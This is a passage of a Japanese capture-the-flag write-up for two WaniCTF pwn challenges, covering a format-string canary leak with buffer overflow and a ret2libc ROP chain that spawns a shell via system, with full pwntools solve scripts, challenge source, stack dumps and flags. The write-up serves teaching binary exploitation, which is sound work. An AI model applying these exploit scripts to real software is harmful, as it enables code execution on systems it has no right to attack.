AAAAa.0.7ffff7f9daa0.0.7ffff7fc9040.2e786c2541414141.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.2e786c252e786c25.786c252e786c25

アウトプットを見るに、バッファはprintfから6番目に参照されるようです。(Aは16進数で41)

バッファはrbp-0x20なので、canaryrbp-0x8との差は10進数で24。

よって、printfで$24 \div 8 + 6 = 9$番目を参照すればよく、canaryをリークするペイロードは

%9$lx

となります。

あとは普通のバッファオーバーフローです。

solve.py

from pwn import *


#io = process("./pwn-Canaleak/chall")
io = remote("canaleak-pwn.wanictf.org", 9006)


leak_payload = b"%9$lx"

io.recvuntil(b": ")
io.sendline(leak_payload)


canary = int(io.recvline()[:-1].decode(), 16)
log.info(f"canary: {hex(canary)}")


addr_win = 0x0000000000401245


payload = b"A"*24
payload += p64(canary)
payload += b"A"*8
payload += p64(addr_win)

io.recvuntil(b"me? : ")
io.sendline(payload)


io.recvuntil(b"me? : ")
io.sendline(b"YES")
io.recvline()


io.interactive()

FLAG{N0PE!}

07. ret2libc

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF_SIZE 32
#define MAX_READ_LEN 128

void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);
  alarm(180);
}

void show_stack(char *buf) {
  printf("\n  #############################################\n");
  printf("  #                stack state                #\n");
  printf("  #############################################\n\n");

  printf("                 hex           string\n");
  for (int i = 0; i < MAX_READ_LEN; i += 8) {
    printf("       +--------------------+----------+\n");
    printf(" +0x%02x | 0x%016lx | ", i, *(unsigned long *)(buf + i));
    for (int j = 7; j > -1; j--) {
      char c = *(char *)(buf + i + j);
      if (c > 0x7e || c < 0x20)
        c = '.';
      printf("%c", c);
    }
    if (i == 40)
      printf(" | <- TARGET!!!\n");
    else
      printf(" |\n");
  }
  printf("       +--------------------+----------+\n");
}

int ofs = 0, ret = 0;

int main() {
  init();

  char buf[BUF_SIZE] = {0};

  printf("Can you master ROP?\n");

  while (ofs < MAX_READ_LEN) {
    show_stack(buf);

    printf("your input (max. %d bytes) > ", MAX_READ_LEN - ofs);
    ret = read(0, buf + ofs, MAX_READ_LEN - ofs);
    if (ret < 0)
      return 1;
    ofs += ret;
  }
  return 0;
}

checksec

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   chall

バッファオーバーフローの問題です。

win関数がないのでROPをする必要がありますが、バイナリ内に都合のいいガジェットが見つかりません。

そこで、libc内のガジェットを利用する方法を考えます。よって、まず最初に考えることは、libcのベースアドレスのリーク。

この問題は教育用の問題なので、stackの状態を表示してくれます。

       +--------------------+----------+
 +0x18 | 0x0000000000000000 | ........ |
       +--------------------+----------+
 +0x20 | 0x0000000000000001 | ........ |
       +--------------------+----------+
 +0x28 | 0x00007fde0f3e2d90 | .....>-. | <- TARGET!!!
       +--------------------+----------+
 +0x30 | 0x0000000000000000 | ........ |
       +--------------------+----------+
 +0x38 | 0x0000000000401369 | .....@.i |
       +--------------------+----------+
 +0x40 | 0x0000000127b46450 | ....'.dP |
       +--------------------+----------+
 +0x48 | 0x00007ffc27b46468 | ....'.dh |
       +--------------------+----------+

gdbで調べたところ、+0x28のところに、__libc_start_call_main+128にあたるアドレスがあることがわかります。

これは我々が書き換えようとしている戻り値の、書き換える前の値ですね。

おそらく、main関数を実行し終わった後はそこに飛ぶのだと思われます。

さて、libc内での相対アドレスは不変なので、libc_baseが特定できます。

あとはlibc.so.6のガジェットを使ってROPを組めばよいです。

solve.py

from pwn import *


FILE="./pwn-ret2libc/chall"
#io = process(FILE)
io = remote("ret2libc-pwn.wanictf.org", 9007)
elf = ELF(FILE)
context.binary = FILE


io.recvuntil(b" +0x28 | 0x")
libc_start_call_main_128 = int(io.recvuntil(b" ")[:-1].decode(), 16)
log.info(hex(libc_start_call_main_128))


libc_base = libc_start_call_main_128 - 0x29d90
log.info(f"libc_base: {hex(libc_base)}")


libc_system = libc_base + 0x50d60
rop_pop_rax = libc_base + 0x45eb0
rop_mov_qprdx_rax = libc_base + 0x3a410
rop_pop_rdx_rcx_rbx = libc_base + 0x108b13
addr_data_section = libc_base + 0x2191e0 + 16
rop_xor_rax = libc_base + 0xbab79
rop_pop_rdi = libc_base + 0x2a3e5
log.info(f"data: {hex(addr_data_section)}")


rop = ROP(elf)
rop.raw("A"*40)

rop.raw(rop_pop_rdx_rcx_rbx)
rop.raw(addr_data_section)
rop.raw(0x4141414141414141)
rop.raw(0x4141414141414141)
rop.raw(rop_pop_rax)
rop.raw("/bin//sh")
rop.raw(rop_mov_qprdx_rax)

rop.raw(rop_pop_rdi)
rop.raw(addr_data_section)

rop.raw(libc_system)
rop.raw("AAAAAAA")

io.recvuntil(b"> ")
io.sendline(rop.chain())


io.interactive()

FLAG{c0n6r475_0n_6r4du471n6_45_4_9wn_b361nn3r!}

You get articles that match your needs
You can efficiently read back useful information
You can use dark theme

What you can do with signing up